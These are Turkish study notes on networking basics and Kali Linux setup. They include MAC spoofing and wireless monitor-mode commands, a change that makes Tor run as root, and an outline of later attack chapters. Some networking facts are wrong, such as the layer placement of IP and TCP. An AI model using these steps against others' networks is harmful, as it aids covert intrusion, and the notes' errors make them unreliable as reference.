- İçindekiler
- Giriş
- Sanal Makina (VirtualBox vb.) Ağ Yapılandırması
- Ağlara Giriş
- İletişim Nedir?
- Ağ Nedir?
- İnternet Nedir?
- Önemli Ağ Terimleri
- Sunucu
- Hyperconverged Cihazlar
- Uç Sistemler - Uç Birimler
- Paketler
- Veri İletişimi (Data Transmission)
- Ağ Protokolü Nedir?
- TCP/IP
- OSI (Open Systems Interconnection) Referans Modeli
- MAC Adresi
- ISP
- IP
- DNS (Domain Name Server)
- ARP (Address Resolution Protocol)
- VPN (Virtual Private Network)
- Firewall (Güvenlik Duvarı)
- Cihazların İletişime Başlaması
- VPN Kullanımı
- DNS Değiştirmek
- Dark Web
- Ufak Bir Terminal Trick'i
- Ağlara Saldırmak
- Bilgisayarları Ele Geçirmek
- Kullanıcılara Saldırmak
- Sosyal Mühendislik
- Beef
- Dış Ağda Backdoor ve Tünel Servisleri
- Web Site Hacking
- Kriptolojiye Giriş
Bu döküman Linux işletim sisteminin Kali Linux dağıtımı üzerinde hazırlanmıştır. İlgili sistem bilgileri aşağıda bulunmaktadır.
# lsb_release -a
>>> No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2020.2
Codename: kali-rolling
# cal
>>> May 2020
Su Mo Tu We Th Fr Sa
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 [22] 23
24 25 26 27 28 29 30
31
Sanal Makina ve Ağlara Giriş bölümündeki tanımlara ait notları Gökay Bekşen'in Youtube hesabından, Cemal Taner'in Kali ile Ofansif Güvenlik kitabından ve Oğuz Erden - İrfan Cemal Nursaçan'ın Bilgisayar Ağlarına Giriş Rehberi kitabından öğrenmeye çalıştıklarım doğrultusunda not almaya çalıştım.
Yine Kali Linux ve ilgili tool'lara ait notları ise Atıl Samancıoğlu'nun Udemy üzerindeki kursundan ve Mustafa Altınkaynak'ın Siber Güvenlik ve Hacking kitabından öğrenmeye çalıştıklarım doğrultusunda not almaya çalıştım.
Aynı zamanda buradaki notları kendimi geliştirebilmek ve ihtiyacım olan komutları/tool'ları daha rahat kullanabilmek için aldım. Bu dökümanın kötüye kullanımından doğabilecek sonuçlardan okuyucu sorumludur 😇
Kurduğumuz sanal makinanın Network adaptör modlarının ne anlama geldiğine bakalım
Kullandığımız sanal işletim sistemine IP adresinin sanal ağ kartı tarafından atanmasıdır. Bu modda sanal işletim sistemimiz, üzerinde çalıştığı fiziksel işletim sistemi ile aynı networkde çalışan cihazlar ile iletişim kuramazken; NAT moda alınmış diğer sanal sistemler ile iletişim kurabilir.
Sanal makinemiz IP isteğinde bulunduğunda, IP isteği sanal ağ kartından değil, üzerinde çalıştığı fiziksel makinanın ağ kartı ile karşılanır ve bir IP adresi atanır. Mesela makinamızın adresi 192.168.1.12 ise Kali'mizin adresi 192.168.1.9 olabilir ve fiziksel ağa dahil edebiliriz.
Bu mod sanal makineler için özel bir ağ oluşturmamızı sağlar. Sanal makineler İnternet'e çıkamaz fakat kendi aralarında haberleşebilir
İsim olarak; duygu, düşünce veya bilgilerin akla gelebilecek her türlü yolla başkalarına aktarılması, bildirişim, haberleşme, komünikasyon. (TDK, 2020)
Teknik olarak; Telefon, telgraf, televizyon, radyo vb. araçlardan yararlanarak yürütülen bilgi alışverişi, bildirişim, haberleşme, muhabere, komünikasyon. (TDK, 2020)
Kendisini oluşturan yapıda çalışan, en az iki birimin ortak bir amaç için daha önce belirledikleri protokollerle bir iletişim hattını kullanarak yaptıkları haberleşme ya da iletişim sisteminin genel adıdır.
İrili ufaklı bir çok ağın birleşerek oluşturdukları, dünyada sayısı yüz milyonları bulan cihazları birbirlerine bağlayıp işlem yapmasını sağlayan bir ağdır.
Kısaca sunucu; bulundukları ağlarda diğer ağ bileşenlerinin kendilerine erişip işlem yapmalarını sağlayan, genellikle ortak bir amaç için çalışan, kendi kaynaklarını erişime açmış cihazlardır. Genellikle client (istemci) cihazlardan güçlüdürler.
Sanal platformlar için geliştirilmiş özel ürünlerdir. Kısaca; Data Center'larda bulunan donanımları (Storage, SAN Switch vd.) birleştirerek tek bir mimari çatı altında toplayan, yönetimi, ekonomiyi ve performansı birleştiren ürünlerdir.
Uç sistemler terimi tek bir cihazı temsil etmemektedir. Hostlardan (sunucu) hizmet alan ya da tek başına çalıştığında da işlem gücüne sahip olan cihazların (laptop, masaüstü, akıllı telefon, TV vd.) tümüne Uç Sistemler denmektedir.
Demiştik ki İnternet; cihazların birbirleriyle iletişime geçip işlem yapmasını sağlayan bir ağdır. Bu cihazlar birbirleriyle iletişime geçerken paketlerden yararlanırlar. Yani bir cihazın başka bir cihaz ile ileteceği veriye, ilgili başlıkları (header, web geliştirme ile ilgilenenler bilirler -> text/html vb.) ekleyip, tek seferde ağa bırakılacak maksimum veri miktarına göre (MTU) küçük parçalara bölme işlemi sonucunda elde edilen veri parçacıklarıdır.
Bir ağı oluşturan hostların (sunucu) ve uç sistemlerin aralarında yapmış oldukları veri alış-verişine verilen isimdir. Veri iletiminde beş bileşen vardır. Bu beş bileşenin yegane amacı veriyi istenilen zamanda, doğru hedefe, veri kaybı olmadan iletmektir. Veri İletişimi'nin beş bileşeni:
- Sender (Gönderen)
- Ağ ortamında mesajı oluşturan ve oluşturduğu mesajı ortama bırakan cihazlardır. Genellikle host (sunucu)'lardır.
- Receiver (Alıcı)
- Ağ ortamında kendisi için sender tarafından gönderilen mesajı alan cihazlardır. Genellikle uç sistemlerdir. Aynı zamanda alıcılar hedef olarak da adlandırılabilirler.
- Message (Mesaj)
- Sender'dan receiver'a gönderilmesi için ağ ortamına bırakılan veriye mesaj denir.
- Medium (Ortam)
- Sender'dan receiver'a mesajın ulaşması için kullanılan yola medium (ortam) denir. Bilgisayar ağında bu yol; fiber optik kablolar, bakır kablolar ve kablosuz ortamlardır.
- Protocol (Protokol)
- Sender'dan receiver'a bir medium kullanılarak gidecek mesajın, eksiksiz ve zamanında iletilmesinin sağlanması için önceden tanımlanmış kurallar bütünüdür.
Farklı ağ ortamları arasında iletişimin sağlanmasında, adreslemenin yapılmasında, hata kontrolünün yapılmasında ve olası hata durumunda paketlerin yeniden gönderilmesinde sorumlu olan protokollerin tamamıdır. Veri iletim aşamalarının tamamını denetleyen kurallar bütünüdür.
TCP ve IP her ne kadar birlikte kullanılsalar da aslında iki farklı ağ protokolüdür. Popüler olmaları ve geniş kabul görmeleri nedeniyle, ağa bağlı cihazların işletim sistemlerinde kurulmuştur. TCP/IP 4 katmandan oluşur.
IP protokolü network; yani Layer 2'de (2. katman) çalışırken; TCP protokolü taşıma yani Layer 3'te (3. katman) çalışır.
Aşağıdaki şemadan hangi katmanda hangi protokollerin çalıştığını görebilirisiniz.
- Application Layer (Uygulama Katmanı)
- En üst katmandır.Bu katmanda sender'dan receiver'a gidecek veriyi göndermek için uygulamalara ihtiyaç duyulur. Veri göndermek istenen uygulama ve kullandığı dosya biçimi tespit edilerek gönderilen verinin türüne göre farklı protokoller çalıştırılır (HTTP, FTP vb.).
- Transport Layer (Taşıma Katmanı)
- Verinin sender'dan receiver'a ne şekilde gönderildiğinin belirlendiği/görüldüğü katmandır. Aynı zamanda flow control (veri akış kontrolü), error control (hata kontrolü) vb. işlemlerin de yapıldığı katman olarak bilinir.
- TCP (Transmission Control Protocol)
- İhtiyacımız olan hatasız ve sıralı biçimde veri iletilmesi ise TCP kullanmak bizim için daha faydalı olacaktır. TCP'de iki cihaz arasında veri iletiminin sağlanması için 3-Way Handshake bağlantısı sağlanır.
- UDP (User Datagram Protocol)
- Eğer ihtiyacımız olan hız ise UDP kullanmak bizim için daha faydalı olacaktır. UDP'de TCP'den farklı olarak ihtiyacımız olan paketlerin karşı tarafa gidip gitmemesi önemsenmez. Yani 3-Way Handshake yoktur. Flow control ve tekrar iletim işlemlerinin yapılmamasından dolayı iletim süresi daha azdır. SNMP, TFTP gibi protokoller UDP kullanarak çalışır
- Internet Layer (İnternet Katmanı)
- Bu katmana bazı yerlerde IP Katmanı da denmektedir. Bu katmanda sender ve receiver IP adresleri veriye eklenerek verinin en son gideceği adresler belirlenmiş olur. IP adreslerinin eklenmesiyle, veriyi de içeren yeni veri bloğuna DATAGRAM denir. ICMP,ARP,IP,IGMP, gibi protokoller bu katmanda çalışır.
- Network Interface Layer (Ağ Arayüzü Katmanı)
- Genelde ağ donanımlarıyla sender arasındaki fiziksel arabirim olarak bilinen katmandır. Bazı yerlerde Veri Bağlantısı katmanı da denmektedir.
- ICMP (Internet Control Message Protocol)
- İnternet Yönetim Mesajlaşma Protokolü. Ağa bağlı cihazlarla ilgili hata ve türlü bilgi mesajlarını ileten protokoldür. Önemli ve temel bir network protokolüdür.
- SMTP (Simple Mail Transport Protocol)
- Basit Posta Taşıma Protokolü. E-posta sunucusu ile makinemiz arasındaki e-posta gönderme işleminin kurallarını belirleyen protokoldür. E-postaları almak için IMAP ve POP3 protokolleri ise alt protokoller olarak kullanılır. Ülkemizde SMTP'nin 25. portunun bazı ISP'ler tarafından kapatılması durumunda 587. port kullanılmaktadır.
- SNMP (Simple Network Management Protocol)
- Basit Ağ Yönetim Protokolü. Ağımızda gözlemleme (monitoring) işlemleri yapmamızı sağlayan protokoldür.
- TELNET (Telecomunication Network)
- Hostlara, ağ cihazlarına terminal bağlantısı gerçekleştirmek üzere geliştirilmiş bir protokoldür.
- FTP (File Transfer Protocol)
- Dosya Aktarım Protokolü. TCP/IP ağında iki cihaz arasında dosya aktarımı yapabilmeleri için geliştirilmiştir.
- HTTP (Hypertext Transfer Protocol)
- Hiper Metin Aktarım Protokolü. TCP/IP ağlarında yaygın olarak WEB sayfalarının görüntülenmesi için kullanılır.
- HTTPS (Secure Hypertext Transfer Protocol)
- Güvenli Hiper Metin Aktarım Protokolü. HTTP'ye SSL(Secure Socket Layer) yani güvenli soket katmanının eklenmesiyle elde edilen bir protokoldür.
ISO tarafından 1970'lerin sonunda piyasaya çıkartılmıştır. Bir referans modelidir. Ağların oluşturulması sırasında donanımsal ve yazılımsal çözümleri düzenleyen standarttır. Ağ ile etkileşime sahip uygulamaların birbirleriyle nasıl, ne şekilde iletişim kuracaklarını tanımlar. 7 katmandan oluşur.
OSI bir standart olmasından dolayı ortama göre değişiklik göstermez.
Katmanlar 1'den 7'ye doğru hareket edebildiği gibi 7'den 1'e doğru da hareket edebilir. 7 katman birbirleri ile ilişki içerisindedir.
OSI Referans Modelini 2 büyük grup altında toplayabiliriz. İlk grup 1. Layer'dan 4. Layer'a kadardır. 1. ve 4. Layer'lar bu gruba dahildir. Bu ilk grubun amacı sender'dan çıkan verinin receiver'a ulaşmasının nasıl olduğunu açıklayan bölümdür. İkinci grup ise 7.,6. ve 5. Layer'lardan oluşur. Bu son grup; cihazların üzerinde çalışan uygulamalar ile nasıl etkileşime geçeceğini belirler.
Bazı cihazlar bu 7 katmanda da çalışabilirler. Bunlar:
- Web sitelerinin ya da uygulamalarının bulunduğu sunucular
- Ağda bulunan hostlar
- Ağ yönetim istasyonları ya da yabancı isimlendirilmesiyle NMS'ler
- Gateway (Geçit yolu) cihazları
- Physical Layer (Fiziksel Katman) - Layer 1
- Fiziksel bağlantı sağlandıktan sonra veriler 1 ve 0'lara çevrilerek (binary transmission) taşınırlar. Arayüz bağlantısının belirlendiği katmandır. Kablolar ve Hub'lar bu katmanda çalışır
- Data Link Layer (Veri Bağlantı Katmanı) - Layer 2
- MAC adresi anlamına gelir. Switch Bridge ve Ethernet kartı gibi cihazların bulunduğu katmandır. Verinin fiziksel olarak aktarılmasının gerçekleştiği katmandır. Aynı zamanda hata bildirmek de bu katmanın görevidir.
- Network Layer (Ağ Katmanı) - Layer 3
- Bu katmanda IP protokolü kullanılır. Cihaz olarak bakarsak Router'lar bu katmanda çalışır. Local olarak birbirlerine bağlı olamayan cihazların veri trafiklerini en verimli yoldan birbirlerine aktardıkları katman Network katmanıdır.
- Transport Layer (İletim Katmanı) - Layer 4
- Bu katmanda uçtan uca bağlantı sağlanır. Verilerin bozulmaya uğramadan iletilmesi, akış kontrollerinin yapılması, hata ile karşılaşılırsa verinin sender'dan yeniden istenmesi vb. işlemler bu katmanda yapılır. Bu katmanda iletim 2 türlü yapılır. TCP veya UDP
- Session Layer (Oturum Katmanı) - Layer 5
- Oturum açma vb. işlemlerin yapıldığı katmandır. Anlık mesajlaşmanın yapıldığı yazılımlar bu katmanı bolca kullanmaktadır.
- Presentation Layer (Sunum Katmanı) - Layer 6
- Verilerin belirli formatlara bölünmeye veya toplanmaya başladığı katmandır. 7. katmana 5. katmandan gelen veriyi iletmek ya da tam tersini yapmak için veriyi kodlayarak ya da çözerek sunan katmandır.
- Application Layer (Uygulama Katmanı) - Layer 7
- Uç noktada, yani son kullanıcıda çalışan katmandır. Kısaca kullanıcıların ağ kullanarak gönderilen ya da gönderilecek paketlerle bilgisayar ekranlarında veya ağ cihazlarında iletişime geçtiği katmandır.
Aslında bir Ağ protokolü değildir. Network'de (ağ) bulunan her cihazın sahip olduğu, başka ağlara dahil olduğunda bile değişmeyen bir adresi vardır. Bu adres 48 bitlik MAC adresidir. Fakat istenirse bu adres manuel olarak değiştirilebilir!
Ağda bulunan her bir cihaza ait ağ kartı (NIC) tek bir MAC adresine sahiptir (örnek: 281,321,675,498,362).
Cihazlar birbirleriyle iletişim kurarken MAC adresleri üzerinden iletişim kurarlar.
İnternet Servis Sağlayıcı demektir. İnternet'i belirli ücretler veya yasalar, sözleşmeler vb. karşılığında bize ulaştıran şirket veya kuruluşlardır (Türk Telekom vb.).
Fiziksel ya da sanal olarak bir ağa katılan her bir cihazın(birimin) sahip olduğu (olması gereken) ve dahil olduğu ağda sadece o cihaz için tahsis edilmiş, çeşitli kurallara göre tasarlanmış sayısal kimliktir. Günümüzde iki sürümü bulunmaktatır. Versiyon 4 (IP/v4) ve Versiyon 6 (IP/v6).
Local IP adreslerimiz ile Public IP adreslerimiz farklı kavramlardır.
Local IP; kullandığımız cihaza, interneti aldığı cihaz (modem vb.) tarafından atanan IP adresidir. ifconfig
komutu ile Local IP adresimizi öğrenebiliriz.
# ifconfig
>>> eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.87 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::76e6:e2ff:fe28:35bc prefixlen 64 scopeid 0x20<link>
ether 74:e6:e2:28:35:bc txqueuelen 1000 (Ethernet)
RX packets 148083 bytes 182884871 (174.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67865 bytes 10050056 (9.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Public IP; bize ISP(İnternet Servis Sağlayıcı Türk Telekom vb.) tarafından verilir. İnternet'e bu IP adresi ile çıkarız.
İnternet ağ yapısında her cihaz bir IP adresine sahiptir. Kısaca DNS'ler IP adreslerinin domain'lere (alan adı) aktarılmasını sağlar.
Aslında www.domainim.com
'a gittiğimizde domain.com
'a değil, bu domainin host edildiği sunucunun (host) IP adresine istek atarız. Bu IP adresini çözümleyen sistem DNS'dir. Ufak bir örnek yaparak daha iyi pekişmesini sağlayalım.
# ping google.com
>>> PING google.com (216.58.206.174) 56(84) bytes of data.
64 bytes from sof02s27-in-f14.1e100.net (216.58.206.174): icmp_seq=1 ttl=53 time=40.5 ms
Gördüğümüz gibi google.com
'a gitmek istediğimizde, o domainin IP adresini (216.58.206.174) çözümleyen sistemdir.
OSI Layer 3'de verilen IP adreslerinin, Layer 2'deki MAC adreslerine çözümlenmesini sağlayan bir protokoldür. STD 37 kodlu bir İnternet standardıdır. Kısaca Adres Çözümleme Protokolü diyebiliriz. Bir IP adresinin hangi internet arayüzü tarafından kullanıldığı bulmaya yarar.
Sanal Özel Ağ demektir. Uzaktan erişim yoluyla farklı ağlara bağlanabilmeyi sağlayan teknolojidir. VPN sanal bir ağ uzantısı oluşturduğundan, VPN kullanarak bir ağa sanal olarak bağlandığımız cihaz, sanki fiziksel olarak bağlıymış gibi veri alış-verişi yapabilir.
Yerel ağımız ile dış ağlar arasındaki iletişimin güvenliğini sağlayan yazılım ve donanımlardır. Dilersek yerel ağdaki iletişimi de kontrol edebilecek şekilde yapılandırabiliriz. Güvenlik Duvarı üzerinde politikalar belirlenebilir. Bu politikalara 'rule' denmektedir. Tanımlanmış rule'lar sayesinde hangi data paketlerinin iletilip iletilmeyeceği, erişim engellemeleri, kimlerle iletişime geçilebileceği vs. belirlenebilir.
UFW bir güvenlik duvarı yönetim aracıdır.
apt-get install ufw
diyerek aracı sistemimize kurabilirizufw enable
UFW'yi etkinleştirebilirizufw disable
UFW'yi pasifleştirebiliriz- Mevcut UFW'ye ait kurallar dizisini görmek için
ufw status verbose
komutunu kullanabiliriz - Kural içerikleri
etc/ufw
altında.rules
uzantısı ile biten dosyalarda yer almaktadır - UFW üzerinde 2 farklı davranış belirleyebiliriz.
allow
ile gelen isteklere izin verebilir vedeny
ile gelen istekleri reddedebiliriz. allow
içeren kuralların tanımlanmasının temel yapısı şu şekildedir ->ufw allow <port>/<optional:protocol>
ufw allow 53/tcp
-> yalnızca 53. port üzerinden gelen TCP protokollere izin verdik
deny
içeren kuralların tanımlanmasının temel yapısı şu şekildedir ->ufw deny <port>/<optional:protocol>
ufw deny 53
-> yalnızca 53. port'tan gelen istekleri kapattık
- Belirli subnete izin vermek için temel komut dizilimi şu şekildedir ->
ufw allow from <subnet_ip>
ufw allow from 192.168.1.0/24
- Belirli bir IP adresine erişim izni vermek istersek temel komut dizilimi ->
ufw allow from <IP>
ufw allow from 10.50.1.55
- Belirli bir IP adresine ve yalnızca bir port için erişim izni vermek istersek temel komut dizilimi ->
ufw allow from <IP> to any port <port_number
ufw allow from 10.50.1.55 to any port 22
- Bazı durumlarda kuralların birbirini bastırdığı durumlar olabilir. Mesela SSH bağlantılarını tümüyle kapatan bir kural ekledik. Daha sonra sadece bir adres için SSH izni verdik. Bu durumda ilk eklediğimiz kural etkin olacaktır ve belirlediğimiz IP de SSH ile bağlanamayacaktır. Bunun önüne geçmek için araya kural eklemesi yapabiliriz.
ufw insert 1 allow from <IP> to any port <port_number>
- Berlirli bir IP adresi veya subnet için protokol sınırlaması getirebiliriz
ufw insert 1 allow from <IP> to any port <port_number> proto <protokol>
->ufw insert 1 allow from 10.50.1.55 to any port 22 proto tcp
- UFW üzerinde kural kaldırmak istersek eklediğimiz rule'a
delete
eklememeiz yeterli olacaktırufw deny 80/tcp
ufw delete deny 80/tcp
- Ya da tüm kurallar içerisinden belirlediğimizi silmek istersek
ufw status numbered
ile belirlediğimiz tüm rule'ları listeleyebiliriz. Ardından silmek istediğimizin numarasını argüman olarak yollayarak silebiliriz.ufw delete <numara>
->ufw delete 1
gibi - UFW
etc/services
altına da erişebildiği için hizmet (service) adına göre de rule ekleyebiliriz. Temel komut dizilimi şu şekildedir ->ufw deny <service>
ufw deny ssh
-> ssh servisini devre dışı bıraktık, bağlantıları engelledik
- UFW loglama için ekstra bir argüman yollanmadığı sürece
low
level loglama yapar. Temel komut dizilimi şu şekildedir ->ufw logging <log_level>
->ufw logging off
vb. Loglama için seçenekler şunlardır:low
-> düşük seviye loglamamedium
-> orta seviye loglamahigh
-> yüksek seviye loglamafull
-> en yüksek seviye, detaylı loglamaoff
-> loglama kapalı
Cihazlar iletişime başlamadan önce kendi aralarında bir iletişim şekli belirlerler. Aynı zamanda veri iletiminin doğru ve düzenli olması açısından bir de protokol belirlenir.
El sıkışma anlamına gelir. İletişime başlayacak iki cihazın da karşılıklı anlaşmasına handshake denir. TCP protokolüne göre iki taraf iletişime el sıkışarak başlar.
Senkronizasyon paketi anlamına gelir. İletişim başlatmak isteyen cihaz, iletişime geçmek istediği cihaza ilk önce Syn paketi gönderir.
Kabul paketi anlamına gelir. İletişime geçilmek istenen cihaz kendisine Syn paketi gelmesi durumunda sender'a Syn + ACK paketi gönderir ve sinyali alıp cevap verebilir durumda olduğunu işaret eder.
Dilersek işlemlerimize başlamadan önce www.whatismyip.com üzerinden Public IP adresimizi görüntüleyebiliriz.
VPN kullanmak için VPN Book
denilen aracı kullanmaktayız.
Öncelikle bir adet VPN Book'a ihtiyacımız vardır. Bunu internette arama yaparak rahat bir şekilde temin edebiliriz (www.vpnbook.com vb.). OpenVPN türünde bir VPN Book indirmemiz gerekmektedir.
İndirdiğimiz VPN Book'ları openvpn
komutu ile çalıştırarak VPN'i aktif edebiliriz. Username ve Password genelde VPN Book'u indirdiğimiz sitede bulunmaktadır. En son satırdaki output'u alırsak VPN'i başarılı bir şekilde aktif etmişiz demektir. ctrl + c
kombinasyonu ile işlemi bitirebiliriz.
# openvpn vpnbook-fr8-tcp80.ovpn
>>> Fri May 22 00:48:21 2020 Initialization Sequence Completed
/etc/dhcp/dhclient.conf
dosyasını herhangi bir text editör ile açıyoruz.
#prepend domain-name-servers
satırını bulup başındaki #
işaretini kaldırıyoruz. Comment Line olarak düşünebiliriz.
cat /etc/resolv.conf
komutu ile DNS'lerimizin değişip değişmediğini görebiliriz. Eğer burada eklediğimiz DNS'leri göremediysek direkt bu dosyayı değiştirebiliriz (nameserver satırı).
Unutmamalıyız ki bu işlemi bilgisayarımızı her açıp kapattığımızda tekrarlamalıyız!
# nano /etc/dhcp/dhclient.conf
# cat /etc/resolv.conf
>>> # Generated by NetworkManager
search home
nameserver 192.168.1.1
# nano /etc/resolv.conf
Öncelikle bu bölüme Dark Web != Deep Web diyerek başlamakta fayda var 😜
İnsanların erişiminin olmadığı, arama motorlarının indexlemediği herhangi bir içerik Deep Web içerisinde yer almaktadır/ Deep Web olarak adlandırılmaktadır. Bunlara örnek olarak Cloud'a atılan fakat sadece bizim erişimimiz olan dosyalar vs. verilebilir.
Dark Web ise; insanların erişimlerinin kısıtlandığı, özel VPN'ler ile (Tor Browser) girilebilen web siteleri topluluğudur.
Kısaca Tor Browser ise; kullandığımız süre boyunca VPN'imizi sürekli değiştirmemizi sağlar ve IP adresimizi sürekli olarak değiştirir. Bu sayede IP adresimizin izinin sürülmesi zorlaşır. VPN içinde VPN içinde VPN şeklinde düşünebiliriz.
Kurulum için VPN'i aktif etmemiz kurulum adına faydalı olacaktır (bir çok ülkede yasaklı olmasından dolayı).
Öncelikle apt-get install tor
komutu ile Tor Browser için gerekli olan paketleri yükleyelim.
# apt-get install tor
- Tor Browser indirme sayfası'na giderek işletim sistemimize uygun olan kurulum paketini indirebiliriz.
cd
komutu sayesinde kurulum paketini indirdiğimiz dizine gidebiliriz. Ardındantar -xvf
komutu ile indirdiğimiz arşiv dosyasını dizine çıkartabiliriz.- Çıkarttığımız dizine giderek
./start-tor-browser.desktop
komutu ile tor browser'ı çalıştırabiliriz.
# cd Downloads
# tar -xvf tor-browser
# ./start-tor-browser.desktop
root
kullanıcısı ile oturum açtıysak bize hata verecektir (root kullanıcısı ile tor browser açılamaz vb.).- Tor Browser dosyalarını çıkarttığımız dizin içerisinde
Browser
adındaki dizine gidelim.
nano start-tor-browser
komutu ile tor browser SHELL Script konfigürasyon dosyasını açalım
if [ "id -u" -eq 0 ]; then
complain "The Tor Browser Bundle should not be run as root. Exiting."
exit 1
fi- satırLARINI bulup her satır başına
#
koyalım ve yorum satırı haline getirelim ve dosyayı kaydedip çıkalım. - tekrar
./start-tor-browser.desktop
komutu ile Tor Browser'ı çalıştırabiliriz. Her adımı doğru uyguladıysak başarılı bir şekilde tarayıcımız açılacaktır.
# cd Browser/
# nano start-tor-browser
# ./start-tor-browser
- Eğer yine hata alırsak veya browser açılması takılırsa, açılış ekranından Configure seçeneğini seçerek Bridge (Köprü) üzerinden bağlanmayı deneyebiliriz. Fakat unutmamalıyız ki ilk başta açılış biraz uzun sürmektedir.
hidden wiki
araması yaparak Dark Web uzantısına sahip.onion
uzantılı linkleri bulabiliriz.
Dökümantasyonun kalan kısmında bolca kod/komut örnekleri göreceğiz. Linux dağıtımlarında;
Normal yetkilere sahip kullanıcılar tarafından çalıştırılan komutlar $
ile başlarken.
$ ifconfig
>>> eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.87 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::76e6:e2ff:fe28:35bc prefixlen 64 scopeid 0x20<link>
ether 74:e6:e2:28:35:bc txqueuelen 1000 (Ethernet)
RX packets 148698 bytes 183420481 (174.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 68290 bytes 10119801 (9.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
.
.
.
Üst düzey yetkili root kullanıcılar tarafından çalıştırılan komutlar #
ile başlar.
# ifconfig
>>> eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.87 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::76e6:e2ff:fe28:35bc prefixlen 64 scopeid 0x20<link>
ether 74:e6:e2:28:35:bc txqueuelen 1000 (Ethernet)
RX packets 148715 bytes 183426397 (174.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 68308 bytes 10123370 (9.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
.
.
.
Dökümanımızın bu bölümünde bolca wlan0
argümanını göreceğiz. Ağ arayüzümüzü temsil eder. Benim cihazımda wlan0
olarak gözüktüğü için argüman olarak wlan0
gönderiyorum. Döküman boyunca wlan0
gördüğümüz yerlerin argüman olduğunu ve kendinize ait işlem yapmak istediğiniz ağ arayüzünüzü kullanmanız gerektiğini lütfen unutmayın. 😇
- Ağ arayüzlerimizi listelemek ve öğrenmek için
ifconfig
komutunu kullanabiliriz. - Sadece wireless arayüzlerimizi listelemek için ise
iwconfig wlan0
komutunu kullanabiliriz. Yine kendinize ait ağ arayüzünü argüman olarak göndermeniz gerektiğini lütfen unutmayınız. 😇
Cihazlar birbirleriyle iletişim kurarken MAC adresleri üzerinden iletişim kurarlar. Fakat bunu sistemsel olarak değiştirebiliriz.
ifconfig wlan0 down
ağ arayüzümüzü düşürüyoruz, servis dışı bırakıyoruz.macchanger wlan0 --random
komutu ile ilgili ağ arayüzümüzün MAC adresini değiştiriyoruz. Çıktıdan da görüleceği üzere MAC adresi başarılı bir şekilde değişmiş oldu.ifconfig wlan0 up
komutu ile tekrar ağ arayüzümüzü aktif hale getiriyoruz.
# ifconfig wlan0 down
# macchanger wlan0 --random
>>> Current MAC: 2a:f9:66:3e:94:53 (unknown)
Permanent MAC: 4c:bb:58:42:c3:89 (unknown)
New MAC: 82:b3:a4:1e:dd:08 (unknown)
# ifconfig wlan0 up
# ifconfig
>>> wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.105 netmask 255.255.255.0 broadcast 192.168.1.255
ether 82:b3:a4:1e:dd:08 txqueuelen 1000 (Ethernet)
RX packets 11961 bytes 1369251 (1.3 MiB)
RX errors 0 dropped 2 overruns 0 frame 0
TX packets 1262 bytes 228105 (222.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Ufak bir not: wlan0
ve wlan0mon
argümanlarının cihazdan cihaza değişebileceğini lütfen unutmayın 😇 Kendi ağ arayüzlerinizi listelemek için ifconfig
kullanabilirsiniz 😇
Monitor Mode: herhangi bir ağa bağlanmadan pasif olarak ilgili ağdaki tüm trafiği izlememize olanak sağlayan mod.
Managed Mode: istemcimizin bir ağa bağlanarak hizmet aldığı mod.
airmon-ng start wlan0
ile monitör mod'a geçebiliriz.ifconfig
ile veyaiwconfig wlan0mon
ile monitör mod'a geçip geçmediğimize bakabiliriz.airmon-ng stop wlan0mon
ile geri managed mod'a geçebiliriz.
# airmon-ng start wlan0
>>> Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
909 wpa_supplicant
16148 NetworkManager
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
# iwconfig wlan0mon
>>> wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.462 GHz Tx-Power=16 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
# airmon-ng stop wlan0mon
>>> PHY Interface Driver Chipset
phy0 wlan0mon ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
(mac80211 station mode vif enabled on [phy0]wlan0)
(mac80211 monitor mode vif disabled for [phy0]wlan0mon)
ifconfig wlan0 down
komutu ile ilgili ağ arayüzümüzü servis dışı bırakırıziwconfig wlan0 mode monitor
ilgili ağ arayüzümüzü monitor moda geçiririzifconfig wlan0 up
ilgili ağ arayüzümüzü tekrar devreye sokarıziwconfig wlan0
ile ilgili ağ arayüzümüzün modunu kontrol edebiliriz
# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# ifconfig wlan0 up
# iwconfig wlan0
>>> wlan0 IEEE 802.11 Mode:Monitor Frequency:2.462 GHz Tx-Power=16 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
- Geri çevirmek istersek ise aynı komutları managed mode için yapıyoruz.
ifconfig wlan0 down
komutu ile ilgili ağ arayüzümüzü servis dışı bırakırıziwconfig wlan0 mode managed
ilgili ağ arayüzümüzü managed moda geçiririzifconfig wlan0 up
ilgili ağ arayüzümüzü tekrar devreye sokarıziwconfig wlan0
ile ilgili ağ arayüzümüzün modunu kontrol edebiliriz
# ifconfig wlan0 down
# iwconfig wlan0 mode managed
# ifconfig wlan0 up
# iwconfig wlan0
>>> wlan0 IEEE 802.11 ESSID:"SUPERONLINE_WiFi_9547"
